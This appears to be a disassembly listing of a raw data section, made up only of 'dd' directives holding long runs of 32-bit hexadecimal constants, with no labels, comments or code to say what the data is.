dd 713F8C79h, 8C43B6FAh, 3ADD9D3h, 6D00C216h, 559FFDC6h
dd 0DD1A525h, 298BF062h, 995B606h, 29900DB3h, 93897C62h
dd 14F50B3Bh, 5EEB3623h, 82C91AF5h, 0E03B4138h, 5DF340A8h
dd 24384415h, 7FB9224Dh, 0F0B8B10Ch, 0EE0F670Fh, 8E986F28h
dd 0F1D9A1CAh, 73B2074Ah, 253159CDh, 933B260Fh, 12FA0257h
dd 6419A47Ah, 616F7F02h, 0D5FC59B6h, 1AC434AEh, 0A5A2682Ch
dd 0FAE1F4EFh, 4E107116h, 0EA0D34CAh, 8AF5AC1h, 523D7EB7h
dd 82A22972h, 5CA4FF54h, 0D7AAE5A0h, 2632C30Eh, 0BF090F3Dh
dd 0C47A1FBBh, 0F884D18Ch, 47DA398h, 883475Ch, 0EC3A9EAAh
dd 96532604h, 7AE24E7h, 0AFB3AA82h, 0F0CB46F7h, 1D36D72Eh
dd 79B79F28h, 2A571C89h, 7D4F191Eh, 3A128187h, 2793A816h
dd 9753FDD8h, 0D7353825h, 93AFADC2h, 0BA38C88Ch, 31475DADh
dd 0E0D28385h, 0BEED6041h, 0ABCF28BDh, 131BE26Dh, 0AA094287h
dd 62C29B43h, 0AA1EB865h, 81093219h, 3820CE31h, 0A3E2D710h
dd 6197E3E7h, 66C896BBh, 59D411F4h, 4DD60906h, 9701E438h
dd 96D0AF21h, 17E3C28Dh, 1BBF0319h, 33380D07h, 4832718Fh
dd 34EE2D92h, 3662F88h, 0A5C53C07h, 0CFEBEB21h, 72C6737Fh
dd 99A82DDCh, 0C2C17970h, 0EBE809C7h, 4121081Eh, 770CA409h
dd 0DCB34918h, 0A8258983h, 7705DCF4h, 0AAD5934Eh, 0F6C29359h
dd 0BF16CA6Ah, 0BC5976BDh, 0AA592ACCh, 0C80BC5ADh, 8AF92DE2h
dd 4E222B42h, 0E125F456h, 0B3B6FCD2h, 734015F6h, 0FF47C78Ah
dd 92DD462Bh, 8AB827Bh, 4903FCE2h, 6717D6A8h, 9644F41Bh
dd 92B2B72Ch, 437B0F09h, 941F85C7h, 4BA5C4Dh, 11302B62h
dd 43BB151Dh, 6480CC1Dh, 0ADCB016Bh, 901BCB05h, 0D1B5694Fh
dd 5EB369EFh, 576EAEC2h, 0D8184B78h, 20379DEDh, 0D85AA3A5h
dd 0B2B15071h, 0ADAD5085h, 100CFE69h, 0AB90C881h, 6206DA42h
dd 2A3858E5h, 0C17822D8h, 182845D1h, 0F8FE1300h, 696542C4h
dd 0FCEA66CDh, 20D1A1F4h, 0A4876D00h, 7E92D79h, 37907A37h
dd 0BA0039FEh, 0F50A7B78h, 0C022E716h, 95DB1497h, 5100399Eh
dd 58ECEC8Fh, 8645BC0Eh, 0BE2B2AD0h, 0BAE69367h, 0FD983DD8h
dd 0F0C94172h, 0E2E475D8h, 1AA5161Fh, 0C6457DBBh, 94B4C703h
dd 96E6D921h, 0CD103BF7h, 1D199351h, 787F1058h, 0B07636F2h
dd 0A5350F39h, 55A9E365h, 55F062A4h, 3B0B05FDh, 1C972313h
dd 0ED514B9Bh, 8D4B7ABFh, 0B14B827Dh, 89AB2F43h, 939D18FFh
dd 882A6FF4h, 7493ACA9h, 0BA640620h, 0B64F0F01h, 0E876A0B2h
dd 4B87653h, 2742847Fh, 0DD48B1E8h, 8C459E7h, 0C933EAD9h
dd 3D3E20E8h, 15AF047Fh, 1137959Eh, 3DCB754Eh, 5A8FACB4h
dd 7D2D4460h, 9B772FB9h, 8F3CF9A4h, 0BC02582Eh, 7133798Ah
dd 2C9ED1EAh, 1F8AFDDEh, 0BECE0A2Ch, 0C27E1D1Ah, 84213A87h
dd 1BE1DAC9h, 306E7522h, 0E6D64CB9h, 13E250C2h, 0ADDDF2C1h
dd 5BB56B3Ch, 0E40EF382h, 0BE42C185h, 1661C94Ah, 0C17E6868h
dd 3988798Eh, 452809FBh, 982C3220h, 0B1BF3F6Bh, 0A81487B9h
dd 2D9A87E1h, 0CAE85F23h
dd 9779DAF6h, 0D06CDC4h, 4364034Dh, 6EE05665h, 9D2318F3h
dd 49BD70BBh, 549413F9h, 86D61967h, 22835899h, 0DE15FCA2h
dd 966E6B0Fh, 0B2DA3C44h, 86AAF79Dh, 0AA15E75Ah, 961B40CDh
dd 0EDD27B39h, 96FB92FBh, 470C4F93h, 0D9DDFDB9h, 733E14ACh
dd 46A7F46Eh, 78CDC7CAh, 0CAF7BA1Bh, 4093A64Dh, 31007D1Bh
dd 24065CAAh, 6309FD2Ch, 8B322A8Bh, 0A964C04Ah, 9C6F5E40h
dd 0EF43DC7Ch, 0C4CB8C0Fh, 1C25905Eh, 91B5E9A9h, 171155D1h
dd 3A2FA08Ch, 155366AAh, 0BF0322E7h, 8A8627F0h, 0A92469E7h
dd 0EF3F3F7h, 0BE8835BAh, 0E69B41F7h, 0CA8C80DBh, 0FAE080FAh
dd 8B425CD0h, 411198Eh, 1858A4F6h, 0D376F056h, 90E62F6Ch
dd 0D3613ED5h, 0A915891h, 5CB82130h, 0EFC5B8BDh, 0E3F4A53Dh
dd 5725DE78h, 0B64BFCFBh, 0E3AEF46Dh, 31920A16h, 6E5D16A7h
dd 76FDE862h, 835560DFh, 911AE38Dh, 0FA5AC0C7h, 0FDF5DE9Eh
dd 5D2914Bh, 516DCEA0h, 141595EFh, 8289B5Fh, 710FEA67h
dd 5684797h, 0F499903Fh, 0A134ADFDh, 0DA19A8FEh, 0F5344F1Eh
dd 8252D70h, 146FC642h, 162B8622h, 9E3829E6h, 0B22B247Bh
dd 0FCA7CB2Bh, 94E53E20h, 133BA62Ah, 2B6694Ah, 137A101Ch
dd 5D910C5Ah, 0AD6EBD63h, 80EB89C4h, 0DD625566h, 191A6169h
dd 33BECDDDh, 0CFF7A4E8h, 27338B78h, 7F4A0FDEh, 6949D1E1h
dd 4198ADDEh, 986864Eh, 6CCD4543h, 70B0889Eh, 33D36A6Eh
dd 0DD506428h, 8B9446E5h, 77761F75h, 0FD36719Bh, 0AD94666Ah
dd 4D5D6082h, 0B07A3D19h, 1D77F19Dh, 6E871793h, 1B328E80h
dd 99E1A891h, 48D8639Bh, 856C78E6h, 0BF214D0h, 484B501Ch
dd 741D69B3h, 9ABA3BB9h, 81973C52h, 0B80F09D8h, 6C1BAE3h
dd 7C9ABDBh, 26920CBCh, 0B053C976h, 0C0A05711h, 0B5C3A8A9h
dd 56656E39h, 0F7D2323Eh, 0AF89B336h, 6F07779Eh, 0F2ECA847h
dd 81F98A30h, 6B971EE2h, 0CA7CD0FAh, 214AA66Eh, 0D793A79Ch
dd 0FA3AA0F6h, 12BFC80Eh, 1E868282h, 6A794922h, 0A370C549h
dd 61EE6C9Eh, 5BA9A962h, 96DB14BEh, 40D29B0h, 53634EB1h
dd 6F54DDA7h, 7E755864h, 86B7568Bh, 0E25551Eh, 9927B708h
dd 9A5A5394h, 1213F820h, 5C429D4Eh, 8C63DD7Eh, 0D0D7345Ah
dd 6177793Ah, 0E50DCB11h, 15813D7Bh, 0FE0D34B3h, 1DC35E34h
dd 6C11F626h, 2A85C8ABh, 0E914ADA5h, 0C8953E49h, 0D5D8E2AAh
dd 69609DADh, 186A64B3h, 3015610Eh, 723B7FDDh, 8E6621CEh
dd 846C878Ah, 7B4D7BE1h, 0C448381Ch, 8672D521h, 0C4051CBh
dd 0ECB81B4Eh, 635DB379h, 628E00C1h, 41F8DE17h, 9C8C8C47h
dd 0A77C5564h, 60808B58h, 2687D8F0h, 0E935B7Bh, 870B96B0h
dd 0DD45A13Dh, 9ED04216h, 6F75EB6Bh, 6D61F063h, 5CF7106Bh
dd 1596B16h, 0E687F6D8h, 12181E29h, 691D88EDh, 5573066Fh
dd 0EEE83A18h, 7F03FA01h, 0E106BA11h, 0B7F8BB75h, 0CA1A831h
dd 0CCC42A13h, 716C09C5h, 48CC2CB9h, 58D4ED13h, 4D91AA6Eh
dd 48A810E6h, 188E2387h, 3B625EE2h, 3F9F52ADh, 0F47EFE30h
dd 2507A220h, 0F590044Ah, 2979514Eh, 0BFD00657h, 0EFA3DED8h
dd 1A5463DCh, 0F96F6C03h, 0AA5F5911h, 790ED8D9h, 48174258h
dd 281E0141h, 34865914h, 0F3721F6Dh, 15815BC0h, 1086DD35h
dd 22F74EC3h, 1FBA96EDh, 0B8B486FFh, 555824BFh, 23388822h
dd 0E5F61578h, 10153CC6h, 0CC889E54h, 31F0EFC4h, 0BFFC3538h
dd 8E01E36Dh, 40CC1FF7h, 0DC565E5Bh, 19641073h, 0D071D33Bh
dd 0BAC5103Bh, 3BEF979Ch, 62F7531Ah, 0BDD97FA8h, 2E8F4216h
dd 38EF975h, 69FCCD72h, 1A5FB783h, 83295031h, 5030C139h
dd 265DCEE9h, 1ECC6964h, 0B66CCEB3h, 0D6A8B0A5h, 0ACBC9C29h
dd 75C9DEB6h, 7C454BB9h, 7D116201h, 0A0B4E311h, 2638F0Dh
dd 0A29B2F00h, 0F93952E0h, 9089CD15h, 17D14427h, 41C624DFh
dd 0FB5A782Ah, 0A4052DF1h, 5121EE4Ah, 0B4827A5Ch, 5AE8BAE7h
dd 511E0092h, 857067F9h, 6D02723h, 0BF67E6F6h, 0D9EE5F24h
dd 0C5D337F6h, 1C7492DEh, 0CC2A66D8h, 70418503h, 0CC945816h
dd 0AF51D11h, 0EBC3FD96h, 0A4F2500Bh, 4850FD0Fh, 236B9EC6h
dd 1DF8F86Ah, 43878673h, 8D9F5AB8h, 551B50B3h, 1057038Ah
dd 0D50950A0h, 0B3D1B2B2h, 5C497Dh, 57140E23h, 88D61D5Ch
dd 842AD7BFh, 5DD598BDh, 7ABD2439h, 9E602B91h, 0DEE2F341h
dd 6CC2C685h, 86E2C235h, 7FC89DD7h, 7FA3D327h, 32541095h
dd 0D8B5E7D8h, 2301650h, 0A18995A6h, 9D655644h, 0D982FCBEh
dd 788FC944h, 359C21C6h, 0D0406E18h, 9F0E3E39h, 0A6B0DE81h
dd 84076F72h, 3E08E576h, 83B384E6h, 6353931Dh, 0BAC7B9B6h
dd 2A5AB56Eh, 69ECFA80h, 0B1E2914Bh, 0FC64FA0Ah, 49042693h
dd 0F0BB2700h, 778D3FE9h, 306948C4h, 22872BA6h, 0A1019348h
dd 17CAB50Ah, 0D21D4AEAh, 5B41FD5Ch, 59405E00h, 7BB4239Fh
dd 32A6DE82h, 0D99F32CAh, 5417AFE3h, 0F2166930h, 72CA42FFh
dd 627161Dh, 2E16B71Eh, 835532E7h, 9FA14B1Ch, 0D5821519h
dd 0A2530487h, 293A9096h, 457682B2h, 0A97B0D46h, 0B9B8FB3h
dd 0E8E706ADh, 0AE168AFDh, 509949B0h, 0FAC7E08Fh, 0A1E2CDA6h
dd 0B4864578h, 532C4946h, 8A56ECA0h, 236552B5h, 0D86519BFh
dd 0AA52675Ah, 40DA7DC4h, 0CE019F0Fh, 0C0E3A325h, 0DBDB97Ah
dd 87589D03h, 0F075A9A2h, 0B15E3F53h, 31198378h, 0B50AFC8Dh
dd 3A32EB6Ch, 560B7CB6h, 649D50B5h, 5DC7B62Dh, 8197E508h
dd 0CB5A955Ch, 3F51A43Dh, 7A0FC4ACh, 0BA7A70BCh, 0EB79FB96h
dd 0B65B2653h, 5BB16338h, 77F437BEh, 6AB4A9EEh, 0FDA0BF75h
dd 0B8E2F2DDh, 6F323ABDh, 3A6C670Bh, 58246AF1h, 6C46BA1Ah
dd 89F8B5C8h, 0FE046D74h, 3C9B2E58h, 0A17D9642h, 0D41370DAh
dd 5E3DF707h, 5EF0DCA8h, 4CA73C76h, 81BB0688h, 4110DF8Ch
dd 4DDBDF33h, 0A5ECF3EBh, 738B2D30h, 0B1DB2508h, 1E6F114h
dd 41DB614Fh, 63204F96h, 563D93E9h, 0D963C562h, 1BA2F7DFh
dd 2A261C4Eh, 4C2CCC2Ch, 5AA58D4Eh, 4C471E43h, 2ED4387h
dd 0B5137B9Fh, 259934C4h, 5B0439D3h, 7ADB33ABh, 24C1AA48h
dd 6EAACFB2h, 7B351423h, 270607CAh, 2ECCE5FFh, 4425693Ch
dd 0F786F8FAh, 8F6B4F62h, 617A67h, 255BC67Dh, 96BFAE41h
dd 8B869952h, 9D79FB1Fh, 0E9D99DF1h, 8B2B40DDh, 0E9B7369Eh
dd 88BFF42h, 208CDCB6h, 0A8327DB3h, 7F738FDBh, 8B8AFE43h
dd 4910A720h, 24403191h, 0B429ADC9h, 14F285E4h, 3FA922AFh
dd 8E4CE029h, 0E9981DB7h, 0CA37913Ch, 0E73AC00h, 0C1ECD28Ch
dd 91D3107Ah, 0CB8B12FBh, 646479D0h, 0E7074693h, 62B6CC54h
dd 0EC113990h, 0C431126Fh, 41DA56C5h, 16DCF3D3h, 0D5C68C6Bh
dd 6B8F0DE3h, 0A98DD94Dh, 4CE731Ch, 44D4032Ch, 0E909CBDBh
dd 546ADB61h, 0AD31921h, 912A7980h, 1983AA0Eh, 0DEF9B8Dh
dd 23F923BCh, 54D74F10h, 0EFEF9CA5h, 588342C1h, 390A61CAh
dd 494C697Dh, 0A526165Bh, 0CCCF2C30h, 0A6001EACh, 5CB76F4Fh
dd 0E093E899h, 0E277D13Fh, 0E06FB8A6h, 2D21FA3Dh, 9BE8EDADh
dd 0F4ED0523h, 0BF76F716h, 83740304h, 0F76D9924h, 6E164DCDh
dd 0CE35C582h, 782578BDh, 0FA30306h, 0C5307687h, 0E7A6F22Ah
dd 0D0F7C9AFh, 23D4942Dh, 87E7C721h, 584F7B1Ah, 0A7684E32h
dd 0F4A5EA3Fh, 0DE864577h, 8EB3AFABh, 17D665C3h, 0C0D0FB9Dh
dd 0DB36D69Dh, 0B65881DEh, 6740CA7Ch, 3893663h, 0C3ABBC5Dh
dd 39D761FFh, 0B630D927h
dd 23490691h, 0AA07321Ch, 0E88EC98Eh, 2643308h, 43720BE9h
dd 0E43AEC99h, 717D3061h, 0EF582D71h, 0CB0FABFEh, 11510AB2h
dd 14EEF069h, 0DE2042F6h, 0D0777D54h, 0A56F256Ah, 61395696h
dd 0C1AFBF8Dh, 86CFF737h, 86608FF6h, 8DEFDDABh, 7E2ABF1Ch
dd 2AE6818Dh, 2FF892Ch, 0A1A9B49Eh, 90D6C740h, 4F8E5616h
dd 4701EA6h, 28BAC887h, 1740D9DFh, 4CA9C616h, 0A37D1F36h
dd 0C3E9DB24h, 259CE502h, 3C4EE4C4h, 322BE332h, 0CFB1F6F5h
dd 2A942963h, 0ADDB8E3Eh, 829910CBh, 0ABA88538h, 375B1349h
dd 657599F4h, 0E62F86EEh, 0FCACCC81h, 1053C863h, 0F35CC661h
dd 76357FD1h, 49CA09D6h, 98DF1429h, 1CD47198h, 0BAB1A32Dh
dd 0C9B7CA07h, 36874AFBh, 356CB0E6h, 0DF80F73Dh, 3B08FEFDh
dd 302F9E03h, 0C0300715h, 85354A99h, 0A650DD41h, 0E7AD54h
dd 0BE94A5B3h, 0A5E205Bh, 0F4911AAh, 0FAC64505h, 248EE767h
dd 296E128Bh, 67B2910Ch, 776B5F82h, 0F67A8253h, 9D2A09E4h
dd 34242D11h, 4D81D145h, 0DBE7DB93h, 4AA5C23Bh, 0E05DFBF4h
dd 0D7359977h, 5FEC09F7h, 59DD30EDh, 947A2A0Dh, 6504CB4Dh
dd 0B6CF324Bh, 0AD15B375h, 9510F3E3h, 1F53C252h, 0DC1C83E1h
dd 42DEF8FAh, 0FC124828h, 0AD263B2Ch, 9CEC6664h, 879BF33Fh
dd 5AEDA8B6h, 37AC8FFCh, 79D962B4h, 0D8FE1CEEh, 0E3E95919h
dd 356C2A2Eh, 395E4DD4h, 46424C5Ch, 73F15856h, 0A0D85583h
dd 1258B4C0h, 619EC20h, 5E9FFE33h, 0B0195373h, 0D6429CECh
dd 7E1EBC78h, 8B4254D8h, 6C22CA4Dh, 14ED70E4h, 0BFAE1E30h
dd 1C84D46Ch, 0DBFF7F86h, 55185168h, 8872D3D2h, 843E3D73h
dd 7C9C6626h, 2A8CC322h, 5E6E7D47h, 9D80DE4Fh, 81FF6E2h
dd 4B04E2A1h, 10FBD830h, 0B6A88D7Eh, 7BA1527Ah, 0A3D73015h
dd 7A49E028h, 0EBB28DAAh, 0EBD62274h, 9A4C3EF4h, 0D1063659h
dd 6782BEACh, 13DE271Bh, 31A3E719h, 0ADC5AAF0h, 9578B397h
dd 6555E97Ah, 8E64C35Ah, 4908BE76h, 14FAF4B5h, 1DB8C9FEh
dd 0BB23F45Ch, 2CCD7150h, 65FC082Dh, 58AE4B4Bh, 46DFCA3Bh
dd 6FE977F6h, 132A7065h, 56DAC1A5h, 0E1CC46E8h, 3E7A8EB2h
dd 0E08A453h, 160449D0h, 0EF9690B7h, 8EA31746h, 2EEA1271h
dd 79A33FDDh, 29DCDEC2h, 0C979002Eh, 63AB50F8h, 8E609806h
dd 80904491h, 0E685C90Bh, 0C115152Dh, 0D08D3FA4h, 60AD52BDh
dd 796055A8h, 0BA1FD56Fh, 33F54A3Fh, 0BC001324h, 22E7B9BAh
dd 2A0C371h, 40FD2F1Ch, 0D9C4E3E0h, 5AE3D721h, 61A9DA2h
dd 6B53663Bh, 0DCD67078h, 97A77935h, 0B7A73E63h, 31CD01D1h
dd 387C9E95h, 0DB8BD32Eh, 3D08D2BDh, 0EADAFC6Bh, 495CE2BBh
dd 718BC032h, 4E1AA41Dh, 1E003EE0h, 0FAFBDA38h, 0FB1B6938h
dd 0D551A464h, 98D4A066h, 0CA66C7FEh, 48E9A395h, 65FA8B0Eh
dd 0BB10020Bh, 7331F7FAh, 0B48FA8F2h, 3054EB38h, 7A22535h
dd 3654AF8Ah, 9AADC21Bh, 235194EFh, 99C68C79h, 0AB3A7F5Ah
dd 592CFC6Ah, 5432E31Ah, 0E82E6678h, 13DFD23Bh, 0BEF90B9h
dd 2EE32E25h, 0BA769119h, 0DDA4191Dh, 0CF26D608h, 0A75CB423h
dd 0E953B1B3h, 941BFE65h, 0BE3AFF19h, 0C93F1A92h, 0C1A89C2Bh
dd 75B1610Bh, 3CB6578Fh, 281619ADh, 9A6EECAh, 0DDEBD841h
dd 0A9CAC5C7h, 0A16ABCE3h, 0A4C53F58h, 7D58B4E1h, 0A5DEFAAh
dd 27F4E97Bh, 0BED73EA0h, 11D49C16h, 0FF9434D9h, 8BB6C343h
dd 302D7AC5h, 0F5DCF6Bh, 463D668Bh, 54ACA72Ch, 98523FAEh
dd 700867F1h, 435D3638h, 0A1B7D4FBh, 95FBF3AAh, 2B7356A6h
dd 438238FEh, 6426867Ch, 0F55F7583h, 98F3ABD4h, 0CC95B52Ah
dd 0B62C6804h, 369C6B68h, 2F12D0F9h, 0B04FA5E0h, 54A40BDFh
dd 8A3224C6h, 0FF0CF92Eh, 0BDECF21Ch, 7B7AAF86h, 2667B7E3h
dd 0E4FA05E9h, 0E88B1EF4h, 7DFFAB6Eh, 0E37AB071h, 70F72AB5h
dd 0F8C586E7h, 0F01BF3E9h, 0D4DCBC36h, 0B32975F9h, 5914AFA7h
dd 75F84A4Ah, 84C11203h, 7D26D1BCh, 3E9FFF4h, 0A61C4C27h
dd 6A9F9808h, 887C20C2h, 55B26280h, 0BBA9B81Eh, 0F478C600h
dd 9A598438h, 7DCB2382h, 2AE2074Bh, 8814D6C3h, 0DF189D5Eh
dd 4C3F5F28h, 0B864D724h, 9A8925D4h, 362DF9E7h, 5D47B0D6h
dd 0B59FBCA7h, 32AEB143h, 0E6454242h, 48041EC7h, 0CAAA6CC1h
dd 4A57E8B9h, 0CA716573h, 6FEA5D29h, 8BF43790h, 0D426F301h
dd 84BE3D38h, 0CAC9DEFFh, 4B73BD2Fh, 9A1DC3C0h, 0D95A3481h
dd 0DAD9ACDEh, 79B7D577h, 0EEDDCC3h, 7277BC24h, 3E8230BEh
dd 0C1788A63h, 1F77B3h, 4F6143F3h, 23608A02h, 34295185h
dd 97B8BCB2h, 402B589Dh, 61B27DE5h, 6729F1EBh, 0BA33E6BEh
dd 0BA17C1Ch, 39EFBBF5h, 0FF72750Dh, 519BAA0Bh, 91F34AB6h
dd 1C863DF8h, 7B9D8011h, 181B1B1h, 0C807292Fh, 0A0411C9Ah
dd 18A0B762h, 0B6F0C92Ah, 5B89FD0Ah, 591CE5ACh, 1D42E417h
dd 2F277F86h, 268D4ABBh, 542F63F5h, 0FE1C0E2Ch, 0DD3394E3h
dd 0CA276E1Dh, 0D5D68B0Dh, 577054F3h, 0ABD44D72h, 10631334h
dd 0B0B80652h, 2ABAC326h, 43F41EE2h, 0CB0E9D2Eh, 5C953445h
dd 63245B5Ch, 75979A9Bh, 0D6F07629h, 0EDC410D6h, 70E620A6h
dd 8FF405B8h, 0E586893h, 0C34827E4h, 0BEDCFCBAh, 37352C12h
dd 762D5C94h, 946EBE41h, 8B3E24D2h, 807CF3EDh, 842A46B9h
dd 39C2DDAFh, 0FEAB9DFh, 0DB738CAFh, 0C2B3887Ah, 0C8A354D2h
dd 0EC75BC4Ch, 6D88EE7Fh, 0D1DBCDB6h, 46DA194Ch, 0CE563768h
dd 6F33F246h, 0A337FF9Bh, 230DB699h, 443069CCh, 96B26F66h
dd 44DB278Ch, 0C8F5A540h, 0B9C271B2h, 52662C5Ch, 0F94E3DE0h
dd 8E601E6Eh, 70B23905h, 8717DF7Fh, 170F4B60h, 5D335714h
dd 103031C7h, 6722BEE1h, 42D16C9Bh, 6038851Fh, 28FA452Eh
dd 0C87B3A5h, 5B8000E0h, 5DC4AE87h, 0C65068F9h, 4E0E7C2h
dd 2732AC1h, 0D2E4AAE1h, 0B297ED4Fh, 0EE33ED78h, 427679Dh
dd 595F1149h, 57FD42DFh, 0B06FC968h, 0E33C1EE6h, 51888922h
dd 2CB29654h, 1FED3315h, 0CB9CF6BAh, 1BF68F81h, 80C0DB52h
dd 0FD3AD256h, 651024C3h, 35E65F8Bh, 91B9DC2Fh, 14CE5535h
dd 0CC8CEABDh, 6C9C406Fh, 0A8565413h, 1604F6EAh, 5AF97BE4h
dd 0BDB1BA71h, 8F0A93E9h, 0FCA164E9h, 0D06C70Ah, 0D1FD0D50h
dd 0E5F433AAh, 0EF624B52h, 6CA01062h, 345A78D2h, 36EAD68Eh
dd 85011D9Ah, 5C07D76Ah, 8575011Ah, 2783F77Ch, 579ED053h
dd 0F174A550h, 2364782Ah, 0A10479A2h, 9608693Eh, 7D282644h
dd 3EB5C58h, 516BE1E1h, 0DA534615h, 0ECE99E75h, 0B5B3A948h
dd 4324D212h, 2E9A262h, 690D3206h, 7A071610h, 6B780D75h
dd 1AE65131h, 0E571D3Bh, 0F612850Ah, 0F802F75Eh, 323DE956h
dd 4F28D8A2h, 0DC57D94Bh, 5C3ED058h, 0C208845h, 55F0F1D5h
dd 0A6FFCBE9h, 8E02FB43h, 986E7F6h, 976CB14h, 0F2FBF8Dh
dd 3BC3BA00h, 0C8514494h, 0A2AAD623h, 8A2C28CEh, 0B31A6241h
dd 53FF0630h, 9D338173h, 92525934h, 82205A23h, 0B1801E73h
dd 351D1406h, 0C5D020BFh, 73C324E3h, 64D293B9h, 0A3DD6CB0h
dd 952A28E2h, 3016BFB9h, 8AC5D5F9h, 0C9B64BD5h, 992222DAh
dd 0CB5213F9h, 69603644h, 0B5FCCBAFh, 80DED67Ah, 81F91B17h
dd 3DFAFA9h, 0E89EC468h, 0FB116056h, 0C110D608h, 0F5108E5Dh
dd 96EAE8ABh, 87901354h, 0F900927Bh, 0C7BDF8C1h, 23BC4781h
dd 17B50FC0h, 3CF8B7B6h, 16F621Fh, 1E0B2227h, 5D9BE3E6h
dd 261277E7h, 5C04362Dh
dd 0EB63BBAFh, 0B1D3323Eh, 0A08703F1h, 5A94F1CEh, 2475D412h
dd 1E55DD36h, 67C20492h, 0EA31F177h, 47CA5D4Bh, 0D87451B2h
dd 776C7A4Ah, 4E5E71ABh, 0EA6DF804h, 597264DCh, 9FEBEBE5h
dd 262D75A1h, 974BB70Dh, 0A4BE1491h, 0DB234AE4h, 0C24704CEh
dd 0CFA43F3Ch, 0F282B5A8h, 1C376AB3h, 27C34771h, 3977BCF6h
dd 770E86FAh, 2082B18Ah, 4C8396C9h, 74D3869Fh, 0D1A494C9h
dd 8201B378h, 45C15019h, 0D5741B17h, 3BC061E9h, 0D3071D42h
dd 0C1A11EB6h, 0BDB51884h, 1B5C3CAEh, 3FB5C566h, 0D55C5B9h
dd 9FB643F5h, 0D3A69635h, 0ADF25BF1h, 6E8D9E10h, 0FC867424h
dd 85571A23h, 697DA82Bh, 6488D0F3h, 9C7FB8B5h, 4BF1EC32h
dd 0A5E05D65h, 0A93907CEh, 44947C48h, 0BAF60400h, 2A20EB98h
dd 67106FB3h, 52B03127h, 0C386EFEDh, 8EC0127Bh, 5FD80E3Bh
dd 0A5D72E5Fh, 56DA7C72h, 0ADBA7388h, 0DA62763Dh, 59B94E63h
dd 0AD1CDDDAh, 0F7C796A9h, 0C0F7DA8Ah, 2F6026DEh, 0B6E98D13h
dd 66F7D513h, 95A6342Bh, 5CD6992Eh, 1E0A2958h, 6E951B01h
dd 0B2FC0746h, 3F2B7372h, 0AE07BE87h, 0DE0F5295h, 97BD1031h
dd 5A3AAED6h, 58EAFF85h, 0CE3348CFh, 7F828203h, 0D58A2C83h
dd 89DCB138h, 0C41ADE62h, 2B88C741h, 38BEA752h, 887FE60Bh
dd 0AC7CADBh, 0F91A0DC4h, 0EA168A6Ch, 21AB8734h, 2E9B1DC3h
dd 9959CCF9h, 4C394044h, 0B8953B7Dh, 0DC1ED2A7h, 3A469718h
dd 5B599F67h, 8CDA07Ch, 0AD488E73h, 1CAA7C4h, 0E7A10650h
dd 0D92B1E14h, 44182FE9h, 2D4B7B94h, 5B670043h, 50D078FAh
dd 0F3398601h, 0ABDF651Ch, 0A4021419h, 9E988D0Eh, 0B1A4C6F0h
dd 0E2400C5Fh, 0DA040CE5h, 0CD6D48F3h, 588E3BF3h, 3ED9CB46h
dd 6E6F649Ch, 559ADBEFh, 0FD29C63Fh, 27DBC3ECh, 7DD60623h
dd 0FAD64327h, 0BDD55419h, 0C3FAB891h, 2F03C2B3h, 0BB2521Bh
dd 51359B52h, 10FD09B4h, 0C368D7CAh, 49BE7B0Eh, 63D69743h
dd 9ECFF8FFh, 82F34557h, 2BD69F48h, 90B3FAB0h, 0FE459CF8h
dd 6C598BC3h, 0B131011Dh, 55170968h, 21D256B1h, 0FE4714D2h
dd 0FD8361CDh, 25379CFh, 0FBB3BFA8h, 418B00CEh, 0F6EE94A4h
dd 0A99E1A1Ah, 861CDECBh, 10516597h, 81C8D7Ah, 53DCD867h
dd 588DBAA4h, 42034520h, 0E5A433C6h, 0FC264954h, 4364D90Dh
dd 0DDB59407h, 26C35F91h, 0A1FF5EADh, 29BDFDD1h, 0A6AE7A04h
dd 6680420Bh, 3FAC9D87h, 7E3A7C81h, 2551101Eh, 725228B5h
dd 21A5C071h, 21EA6E21h, 549D4CB7h, 999AF793h, 93FC080Bh
dd 40C1D9EAh, 46411F66h, 0B9645A48h, 56F053D5h, 0E6305DA8h
dd 13DC7AC8h, 26DAC0A2h, 11F1F92Ch, 3F1594FCh, 1DCABD54h
dd 0CD9847F9h, 94C2F245h, 0C9F9E209h, 83B01B21h, 770CC8E5h
dd 0BD99255Ch, 0E4AAD81Bh, 91D6452Fh, 0FC9B6976h, 2D113C2h
dd 89C39C23h, 42A5C2B3h, 0C3910D12h, 0A36BC178h, 81C971BFh
dd 0E658DBFh, 0C706A0F4h, 828CD23Ch, 2F998B4Dh, 14477780h
dd 0FC344B14h, 0C968F80Eh, 9AAC6A2Dh, 1896CF2Dh, 44F4D546h
dd 9BBE1E01h, 0B496E6D7h, 88914677h, 75EB182Fh, 0C054C84Dh
dd 0EFDD224Eh, 0A00ADBC2h, 1E805D8Bh, 818516F6h, 0CE754152h
dd 8E6EE916h, 0CD6D7948h, 6E2105D5h, 6A28B88Fh, 0F5EE6A12h
dd 0B38976F0h, 0D81AAAF5h, 2399229Ah, 43F44244h, 7BBC852Fh
dd 0BC4C6E0Dh, 0F7DFD6D8h, 674D081Ch, 9325956Ch, 0DCC089B7h
dd 362E5E12h, 0CFE22D8h, 65125B90h, 0EAF331A2h, 0F69393E9h
dd 13913FFEh, 6C43A97Fh, 5D135E35h, 8CB007C9h, 0C7D092BCh
dd 275CCC03h, 0DE907AA2h, 37422CFDh, 25763BD6h, 0D3C1A71Ah
dd 0C4A71D9Ah, 0EED0867Ch, 9DE7E74Fh, 0F51E32DDh, 5620DBD8h
dd 0CDCBD36Fh, 143A494Eh, 80E548B2h, 56339387h, 9E152968h
dd 8D6095DCh, 0CFAE0CBAh, 73139C45h, 224C8318h, 3C394036h
dd 0E0C1A0AAh, 46F5BA83h, 234ECF24h, 6CDCE741h, 0E5BAEFA6h
dd 0C31E47A6h, 0A969A689h, 2A0F89FDh, 0A173C6ABh, 4970699Eh
dd 4EAA225Ch, 35194960h, 0A8855223h, 19078006h, 0E064D7A4h
dd 3D551B55h, 437705AAh, 5C7A0DAEh, 528181D4h, 2EC88DCAh
dd 92ADBB10h, 0AB702D35h, 91A8BC0Ah, 0A2FF0F78h, 13CA8A7Dh
dd 65795BC1h, 0BE1594C1h, 0C0BFC5C6h, 0FAE6289Fh, 0D7CD05CCh
dd 0CB99CA53h, 0D875FC88h, 0C12570Bh, 2B554513h, 31E2F019h
dd 71F2396Fh, 0B2987F7Eh, 0BC85844Eh, 5206A706h, 0FC13445h
dd 1F62D7C8h, 6D34915h, 2AF8038Fh, 0D632F2B0h, 13CBE9FFh
dd 1505FEDDh, 3F56D38Ah, 0FC76237Eh, 0CA0389ADh, 78B7EE50h
dd 0E23CFB02h, 5980F254h, 99D0D0Fh, 705306E1h, 3C8FEE29h
dd 644BB77Ah, 0BA0930ACh, 1B558E25h, 752D7271h, 75E73053h
